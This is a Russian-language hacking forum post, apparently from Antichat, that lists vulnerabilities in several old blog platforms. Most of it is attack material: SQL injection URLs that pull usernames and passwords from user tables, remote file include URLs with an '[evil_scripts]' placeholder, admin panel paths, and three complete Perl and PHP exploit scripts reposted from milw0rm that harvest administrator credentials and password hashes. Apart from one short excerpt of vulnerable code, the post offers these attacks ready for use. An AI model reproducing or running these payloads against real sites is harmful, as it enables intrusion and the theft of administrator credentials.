Форум АНТИЧАТ - Показать сообщение отдельно - [ Обзор уязвимостей в блогах (кроме WР) ]

xweblog <= 2.1 SQL Injection

Код:

http://www.victim.com/[xweblog path]/kategori.asp?kategori=-1%20union%20select%200,ad,2,3,4,5,6,7,8,9,sifre,11,12%20from%20uyeler

TualBLOG 1.0 SQL Injection

Код:

http://site.com/[path]/icerik.asp?icerikno=-1%20union+select+mail,sifre,uyeadi+from+tbl_uye+where+uyeno=1

SimpleBlog <= 2.3 SQL Injection

Код:

http://[target]/[path]/default.asp?view=plink&id=-1%20UNION%20SELECT%20ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null,null%20FROM%20T_USERS%20WHERE%20id>1

icblogger v2 SQL Injection

Код:

http://www.target.com/path/devam.asp?YID=-1 UNION SELECT null,null,null,null,null,editor_adi,null,editor_sifre,editor_mail,null FROM editor WHERE editor_id = 1

Админка:

Цитата:

http://www.target.com/path/admin/default.asp

SimpleBlog <= 2.0 SQL Injection

PHP код:


		
			
#!/usr/bin/perl

#Method found by Chironex Fleckeri 

#Exploit By ASIANEAGLE

#Contact:admin@asianeagle.org

#Original advisory: http://www.milw0rm.com/exploits/2228

#Usage: exploitname.pl <host> <path> <id>

use IO::Socket;

if(@ARGV != 3) { usage(); }

else { exploit(); }

sub header()

{

  print " *****SimpleBlog 2.0 SQL Injection Exploit***** \r\n";

  print "      *****www.asianeagle.org***** \r\n";

  }

sub usage() 

{

  header();

  print " *Usage: $0 <host> <path> <id>\r\n";

  print " *<host> = Victim's host ex: www.site.com\r\n";

  print " *<path> = SimpleBlog Path ex: /SimpleBlog/\r\n";

  print " *<id>   = Admin ID ex: 1\r\n";

  exit();

}

sub exploit () 

{

  $simserver = $ARGV[0];

  $simserver =~ s/(http:\/\/)//eg;

  $simhost   = "http://".$simserver;

  $simdir    = $ARGV[1];

  $simport   = "80";

  $simtar    = "comments.asp?id=";

  $simsql    = "-1%20UNION%20SELECT%20ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null%20FROM%20T_USERS%20WHERE%20id%20like%20".$ARGV[2];

  $simreq    = $simhost.$simdir.$simtar.$simsql;

 

  header();

  print "- Trying to connect: $simserver\r\n";

  $sim = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$simserver", PeerPort => "$simport") || die "- Connection failed...\n";

  print $sim "GET $simreq HTTP/1.1\n";

  print $sim "Accept: */*\n";

  print $sim "Referer: $simhost\n";

  print $sim "Accept-Language: tr\n";

  print $sim "User-Agent: Mozzilla\n";

  print $sim "Cache-Control: no-cache\n";

  print $sim "Host: $simserver\n";

  print $sim "Connection: close\n\n";

  print "Connected...\r\n";

  while ($answer = <$sim>) {

    if ($answer =~ /class=\"c_content\">(.*?)<\/td><\/tr>/) { 

      if ($1 == $ARGV[2]) {

        print "Seems Vulnerable :)\r\n";

      }

      else { die "- Exploit failed\n"; }     

    }

    if ($answer =~ /class=\"c_content\"><b>(.*)<\/b>/) {

      print "- Username: $1\r\n";

    }

    if ($answer =~ /href=\"mailto:(.*?)\">(.*?)<\/a>/) {

      print "- Password: $1\r\n";

    }  

  }

  

 

 

}



# milw0rm.com [2006-08-20]

LBlog <= 1.05 SQL Injection

Код:

http://www.target.com/path/comments.asp?id=-1 UNION SELECT 0,username,password,3,4+FROM+LOGIN+WHERE+ID=1

Админка:

Цитата:

http://www.target.com/path/admin

SAPID Blog <= beta 2 Remote File Include

Цитата:

http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_meta_info.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]

myBloggie <= 2.1.4 Multiple SQL Injections

PHP код:


		
			
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "MyBloggie <= 2.1.4 trackback.php multiple SQL injections vulnerability /\n";

echo "administrative credentials disclosure exploit\n";

echo "by rgod rgod@autistici.org\n";

echo "site: http://retrogod.altervista.org\n\n";



/*

works regardless of php.ini settings

against MySQL >= 4.1 (allowing subs)

*/



if ($argc<3) {

echo "Usage: php ".$argv[0]." host path OPTIONS\n";

echo "host:      target server (ip/hostname)\n";

echo "path:      path to MyBloggie\n";

echo "Options:\n";

echo "   -i           specify an existent post id (default: 1)\n";

echo "   -T[prefix]   specify a table prefix different from default (mb_)\n";

echo "   -p[port]:    specify a port other than 80\n";

echo "   -P[ip:port]: specify a proxy\n";

echo "   -d:          disclose table prefix (reccomended)\n";

echo "Example:\r\n";

echo "php ".$argv[0]." localhost /MyBloggie/ -d -i7\r\n";

echo "php ".$argv[0]." localhost /MyBloggie/ -Tm_\r\n";

die;

}



/* software site: http://mybloggie.mywebland.com/



  vulnerable code in trackback.php:



...

if(!empty($_REQUEST['title'])) {

$title=urldecode(substr($_REQUEST['title'],0,$tb_title_len));

}

else { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : No title</p>"); }



if(!empty($_REQUEST['url'])) {

$url=urldecode($_REQUEST['url']);



if (validate_url($url)==false) { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : URL not valid</p>"); }

}

else { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : No URL</p>"); }



if(!empty($_REQUEST['excerpt']))

 {

  $excerpt=urldecode(substr($_REQUEST['excerpt'],0,$tb_excerpt_len));

 } else {

    $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : No Excerpt</p>");

 }



// The blog name

if(!empty($_REQUEST['blog_name']))

 {

    $blog_name=urldecode(substr($_REQUEST['blog_name'],0,$tb_blogname_len));

 } else

 {

    $blog_name="No Blog Name";

 }



$timestamp = mktime(gmtdate('H', time(), $timezone ),gmtdate('i', time(), $timezone ),

             gmtdate('s', time(), $timezone ), gmtdate('n', time(), $timezone ),

             gmtdate('d', time(), $timezone ), gmtdate('Y', time(), $timezone ));



$sql = "INSERT INTO ".COMMENT_TBL." SET post_id='$tb_id', comment_subject='$title', comments='$excerpt', com_tstamp='$timestamp' ,

              poster = '$blog_name', home='$url', comment_type='trackback'";



$result = $db->sql_query($sql) or die("Cannot query the database.<br>" . mysql_error());

...



you have sql injection in 'title', 'url', 'excerpt' and 'blog_name' argument

with MySQL >= 4.1 that allows SELECT subqueries for INSERT...



so you can insert admin username & password hash inside comments and you will see them at screen

also arguments are passed to urldecode(), so you can bypass magic_quotes_gpc

with '%2527' sequence for the single quote char

adn you can disclose table prefix going to:



http://192.168.1.3/mybloggie/index.php?mode=viewdate



you will have an error that disloses a query fragment



-



ex., injecting code in 'title' argument, query becomes:



INSERT INTO mb_comment SET post_id='1', comment_subject='hi',comments=(SELECT CONCAT('<!--',password,'-->')FROM mb_user)/*', comments='whatever', com_tstamp='1154799697' ,

poster = 'whatever', home='http://www.suntzu.org', comment_type='trackback'

                                          */



error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);



function quick_dump($string)

{

  $result='';$exa='';$cont=0;

  for ($i=0; $i<=strlen($string)-1; $i++)

  {

   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

   {$result.="  .";}

   else

   {$result.="  ".$string[$i];}

   if (strlen(dechex(ord($string[$i])))==2)

   {$exa.=" ".dechex(ord($string[$i]));}

   else

   {$exa.=" 0".dechex(ord($string[$i]));}

   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

  }

 return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

  global $proxy, $host, $port, $html, $proxy_regex;

  if ($proxy=='') {

    $ock=fsockopen(gethostbyname($host),$port);

    if (!$ock) {

      echo 'No response from '.$host.':'.$port; die;

    }

  }

  else {

   $c = preg_match($proxy_regex,$proxy);

    if (!$c) {

      echo 'Not a valid proxy...';die;

    }

    $parts=explode(':',$proxy);

    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

    $ock=fsockopen($parts[0],$parts[1]);

    if (!$ock) {

      echo 'No response from proxy...';die;

   }

  }

  fputs($ock,$packet);

  if ($proxy=='') {

    $html='';

    while (!feof($ock)) {

      $html.=fgets($ock);

    }

  }

  else {

    $html='';

    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

      $html.=fread($ock,1);

    }

  }

  fclose($ock);

  #debug

  #echo "\r\n".$html;

}



function is_hash($hash)

{

 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}

 else {return false;}

}



$host=$argv[1];

$path=$argv[2];

$port=80;

$prefix="mb_";

$post_id="1";//admin

$proxy="";

$dt=0;



for ($i=3; $i<$argc; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

  $port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

  $proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-T")

{

  $prefix=str_replace("-T","",$argv[$i]);

}

if ($temp=="-i")

{

  $post_id=(int) str_replace("-i","",$argv[$i]);

  echo "post id -> ".$post_id."\n";

}

if ($temp=="-d")

{

  $dt=1;

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}



if ($dt)

{

$packet ="GET ".$p."index.php?mode=viewdate HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"You have an error in your SQL syntax"))

{

  $temp=explode("UNIXTIME(",$html);

  $temp2=explode("posts.timest",$temp[1]);

  $prefix=$temp2[0];

  echo "table prefix -> ".$prefix."\n";

}

}



$sql="%2527,comments=(SELECT CONCAT(%2527<!--%2527,password,%2527-->%2527)FROM ".$prefix."user)/*";

//some problems with argument length, maybe with prefix > 3 chars you will have some error, cut the '<!--' but hash will be clearly visible in comments

$data="title=hi".$sql;

$data.="&url=http%3a%2f%2fwww%2esuntzu%2eorg";

$data.="&excerpt=whatever";

$data.="&blog_name=whatever";

$packet ="POST ".$p."trackback.php/$post_id HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);



$sql="%2527,comments=(SELECT CONCAT(%2527<!--%2527,user,%2527-->%2527)FROM ".$prefix."user)/*";

$data="title=hi".$sql;

$data.="&url=http%3a%2f%2fwww%2esuntzu%2eorg";

$data.="&excerpt=whatever";

$data.="&blog_name=whatever";

$packet ="POST ".$p."trackback.php/$post_id HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

sleep(1);



$packet ="GET ".$p."index.php?mode=viewid&post_id=$post_id HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

//echo $html;

$temp=explode('"message"><!--',$html);

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode("-->",$temp[$i]);

if (is_hash($temp2[0]))

{

  $hash=$temp2[0];

  $temp2=explode("-->",$temp[$i+1]);

  $admin=$temp2[0];

  echo "----------------------------------------------------------------\n";

  echo "admin          -> ".$admin."\n";

  echo "password (md5) -> ".$hash."\n";

  echo "----------------------------------------------------------------\n";

  die();

}

}

//if you are here...

echo "exploit failed...";

?>



# milw0rm.com [2006-08-07]

LoudBlog <= 0.5 SQL Injection / Admin Credentials Disclosure

PHP код:


		
			
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "LoudBlog <= 0.5 'id' SQL injection / admin credentials disclosure\r\n";

echo "by rgod rgod@autistici.org\r\n";

echo "site: http://retrogod.altervista.org\r\n";

echo "a dork: \"Powered by LoudBlog\"\r\n\r\n";

/*

works regardless of magic_quotes_gpc settings

*/



if ($argc<3) {

echo "Usage: php ".$argv[0]." host path OPTIONS\r\n";

echo "host:      target server (ip/hostname)\r\n";

echo "path:      path to LoudBlog\r\n";

echo "user/pass: you need an account\r\n";

echo "Options:\r\n";

echo "   -T[prefix]   specify a table prefix different from 'lb_'\r\n";

echo "   -p[port]:    specify a port other than 80\r\n";

echo "   -P[ip:port]: specify a proxy\r\n";

echo "Example:\r\n";

echo "php ".$argv[0]." localhost /loudblog/  \r\n";

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);



function quick_dump($string)

{

  $result='';$exa='';$cont=0;

  for ($i=0; $i<=strlen($string)-1; $i++)

  {

   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

   {$result.="  .";}

   else

   {$result.="  ".$string[$i];}

   if (strlen(dechex(ord($string[$i])))==2)

   {$exa.=" ".dechex(ord($string[$i]));}

   else

   {$exa.=" 0".dechex(ord($string[$i]));}

   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

  }

 return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

  global $proxy, $host, $port, $html, $proxy_regex;

  if ($proxy=='') {

    $ock=fsockopen(gethostbyname($host),$port);

    if (!$ock) {

      echo 'No response from '.$host.':'.$port; die;

    }

  }

  else {

    $c = preg_match($proxy_regex,$proxy);

    if (!$c) {

      echo 'Not a valid proxy...';die;

    }

    $parts=explode(':',$proxy);

    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

    $ock=fsockopen($parts[0],$parts[1]);

    if (!$ock) {

      echo 'No response from proxy...';die;

    }

  }

  fputs($ock,$packet);

  if ($proxy=='') {

    $html='';

    while (!feof($ock)) {

      $html.=fgets($ock);

    }

  }

  else {

    $html='';

    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

      $html.=fread($ock,1);

    }

  }

  fclose($ock);

  #debug

  #echo "\r\n".$html;

}



function is_hash($hash)

{

 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}

 else {return false;}

}



$host=$argv[1];

$path=$argv[2];

$port=80;

$prefix="lb_";

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

  $port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

  $proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-T")

{

  $prefix=str_replace("-T","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}



$zeros=array(",0,0,0,0", //<- this the one I tested, may change in other versions

         ",0,0,0",

         ",0,0",

         ",0",

         ",0,0,0,0,0",

         ",0,0,0,0,0,0",

         ",0,0,0,0,0,0,0");



for ($i=0; $i<count($zeros); $i++)

{

$sql="'UNION/**/SELECT/**/0,0,CONCAT('*_u_*',nickname,'*_u_*'),'2005-03-29 16:32:42',0,0,0,0,0,0,CONCAT('*_p_*',password,'*_p_*'),0,0,0,0,0,0,0".$zeros[$i]."/**/FROM/**/".$prefix."authors/**/WHERE/**/id=1/*";

//debug

//echo "sql -> ".$sql."\r\n";

$sql=urlencode($sql);

$packet ="GET ".$p."index.php?id=$sql HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

$temp=explode("*_p_*",$html);

$hash=$temp[1];

if (is_hash($hash))

{

echo "-------------------------------------------------------\r\n";

echo "password (md5) -> ".$hash."\r\n";

$temp=explode("*_u_*",$html);

echo "admin          -> ".$temp[1]."\r\n";

echo "-------------------------------------------------------\r\n";

die;

}

}

//if you are here...

echo "exploit failed...";

?>



# milw0rm.com [2006-07-21]